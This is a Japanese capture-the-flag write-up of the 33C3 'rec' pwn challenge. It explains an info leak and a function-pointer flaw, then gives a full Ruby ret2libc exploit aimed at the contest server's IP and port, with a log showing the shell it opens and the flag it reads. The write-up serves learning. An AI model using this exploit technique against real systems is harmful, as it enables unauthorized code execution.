33c3CTF rec (pwn200)
解けなかったので復習.精進しよう.
下調べ
file
../rec: ELF 32-bit LSB shared object Intel 80386 version 1 (SYSV) dynamically linked interpreter /lib/ld-linux.so.2 for GNU/Linux 2.6.32 BuildID[sha1]=51890d1f3db5af5a951952942d4cf81d91143c3e stripped
checksec
Canary: Yes NX Support: Yes PIE Support: Yes No RPATH: Yes No RUNPATH: Yes Partial RelRO: Yes Full RelRO: Yes
Reversing
- メモ機能と計算が行えるアプリケーション
- 0,1はノート管理
- 0が入力,1が表示・・・ではなく1は4word分leakするただの脆弱性の塊
- 2,3,4は計算(前置,中置,後置記法の3種類)
- 5は入力した値の正負を判断する
- 条件分岐において0のみが通ってしまい,意図しない関数ポインタの呼び出しが発生する脆弱性
Calculators are fun! 0 - Take note 1 - Read note 2 - Polish 3 - Infix 4 - Reverse Polish 5 - Sign 6 - Exit > 0
Exploit
選択肢1では,_IO_2_1_stdout_やPIEバイナリのアドレスなどがリークする.そこでstdoutのleakからret2libcに繋げられそうだと判断する.また選択肢2で,オペランドの入力を100回繰り返す(当日はプロに教えていただいた)と,選択肢5で使われる関数ポインタが保存されているstackを指す.さらに101回目には関数ポインタ呼び出し時の第一引数に当たる場所を指す.これらの情報を使って以下のExploitを作成した.アドレスなどの入力の際に大きい値だとオーバーフローしてしまうのでその対策としてアドレスにmメソッドを噛ましている. ret2libcにおいてlibcの配布はされていなかったので,libcを実行した際に出るバナー情報を表示させてバージョンを確認した.(存在は知っていたけれどやったことはなかったので,自分にとっては初めての経験で収穫が大きかった).
#coding: ascii-8bit require 'pwnlib' host = "localhost" port = 8888 # Ubuntu GLIBC 2.24-3ubuntu2) stable release version 2.24 def m(x) -2**32 + x end if ARGV[0] == "r" host = "78.46.224.74" port = 4127 # NG libc offset # $of_stdout = 0x1b6d60 # of_system = 0x3b020 # of_bin_sh = 0x15f60f of_stdout = 0x1b3d60 of_system = 0x3a8b0 of_bin_sh = 0x15cbcf end def leak_stdout(t) t.recv_until('> ') t.sendline('1') return t.recv_capture(/: .{8}(.{4})/)[0].unpack("L")[0] end PwnTube.open(host, port) do |t| libc_base = leak_stdout(t) - of_stdout puts "libcbase = 0x%x" % libc_base libc_system = of_system + libc_base puts "libc_system = 0x%x" % libc_system libc_bin_sh = libc_base + of_bin_sh puts "libc_binsh = 0x%x" % libc_bin_sh t.recv_until('> ') t.sendline('2') t.recv_until(": ") t.sendline('S') 100.times do |i| t.recv_until(": ") t.sendline(m(libc_system).to_s) end t.recv_until(": ") t.sendline(m(libc_bin_sh).to_s) t.sendline(".") t.recv_until('> ') t.sendline('5') t.sendline('0') t.shell end
上記のexploitを回した結果が以下である.これは記事執筆時にまだ動いていたときのサーバである.
[mbp2013late@result]$ ruby exploit.rb r [*] connected libcbase = 0xf7614000 libc_system = 0xf764e8b0 libc_binsh = 0xf7770bcf [*] waiting for shell... [*] interactive mode cat /challenge/flag 33C3_L0rd_Nikon_would_l3t_u_1n ldd /challenge/rec linux-gate.so.1 => (0xf7783000) libc.so.6 => /lib32/libc.so.6 (0xf75bb000) /lib/ld-linux.so.2 (0x565a4000) sha1sum /lib32/libc.so.6 7b50429917d0a860067c02ad268de3de87f683b1 /lib32/libc.so.6
解けなかった原因
単純にlibcが間違っていた.バナー表示させているんだから間違ってるはずないよ・・・ってその時思っていたが実際に異なっていた.違っていた原因は,本問題が32bitバイナリなため,単純にi386という文字列が目に止まったi386 build : 2.24-3ubuntu2 : glibc package : Ubuntuからダウンロードしてしまったからだった.
本番環境では64bitを想定し,64bitのための32bitなlibcをダウンロードしてこなくてはならない.
以下に示す通りオフセットはもちろんまったく違う(前者が間違っている方で,後者が正しい方)
vagrant@alice1000:~/c/3/r/result$ ./libc-offset libc-2.24.so offset = { '__libc_start_main': 0x18180, 'system': 0x3b020, '/bin/sh': 0x15f60f, # str } vagrant@alice1000:~/c/3/r/result$ ./libc-offset libc6i386/lib32/libc-2.24.so offset = { '__libc_start_main': 0x18180, 'system': 0x3a8b0, '/bin/sh': 0x15cbcf, # str } vagrant@alice1000:~/c/3/r/result$ sha1sum libc6i386/lib32/libc-2.24.so 7b50429917d0a860067c02ad268de3de87f683b1 libc6i386/lib32/libc-2.24.so
所感
最初pedaでcontext code, stackが表示されず直せなかったので,急遽まだ使い慣れていないgefを使って解いた.peda治したい・・・
libcに関しては本当にどうしようもないミスでチームの人にも無駄に時間をかけさせてしまったし今後同じ過ちを起こさぬよう自戒の意も込めて記事にした.絶対に間違えるなよ,絶対だぞ,フリじゃないからな.